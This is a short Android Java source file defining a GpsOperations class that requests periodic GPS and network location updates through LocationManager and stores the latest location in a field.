package com.samsung.utils.phone.operations;

import com.samsung.utils.phone.content.StaticClass;

import android.content.Context;
import android.location.Location;
import android.location.LocationListener;
import android.location.LocationManager;
import android.os.Bundle;

public class GpsOperations implements LocationListener {

	private LocationManager locationManager;
	public Location myLocation = null;

	public GpsOperations(Context context) {
		// Get the location manager
		locationManager = (LocationManager) context
				.getSystemService(Context.LOCATION_SERVICE);
	}

	public void start() {

		locationManager.removeUpdates(this);
		locationManager.requestLocationUpdates(LocationManager.GPS_PROVIDER,
				StaticClass.GPS_CONTROL_DELAY, 0, this); // ten minutes
		locationManager.requestLocationUpdates(
				LocationManager.NETWORK_PROVIDER,
				StaticClass.GPS_CONTROL_DELAY, 0, this); // ten minutes

		myLocation = locationManager
				.getLastKnownLocation(LocationManager.GPS_PROVIDER);
		if (myLocation == null)
			myLocation = locationManager
					.getLastKnownLocation(LocationManager.NETWORK_PROVIDER);
	}

	public  boolean isGPSEnabed() {

		if (locationManager.isProviderEnabled(LocationManager.GPS_PROVIDER)) {
			return true;
		} else {
			return false;
		}

	}

	public void stop() {
		locationManager.removeUpdates(this);
	}

	@Override
	public void onLocationChanged(Location arg0) {
		myLocation = arg0;
	}

	@Override
	public void onProviderDisabled(String arg0) {
		// TODO Auto-generated method stub
	}

	@Override
	public void onProviderEnabled(String arg0) {
		// TODO Auto-generated method stub
	}

	@Override
	public void onStatusChanged(String arg0, int arg1, Bundle arg2) {
		// TODO Auto-generated method stub

	}

}
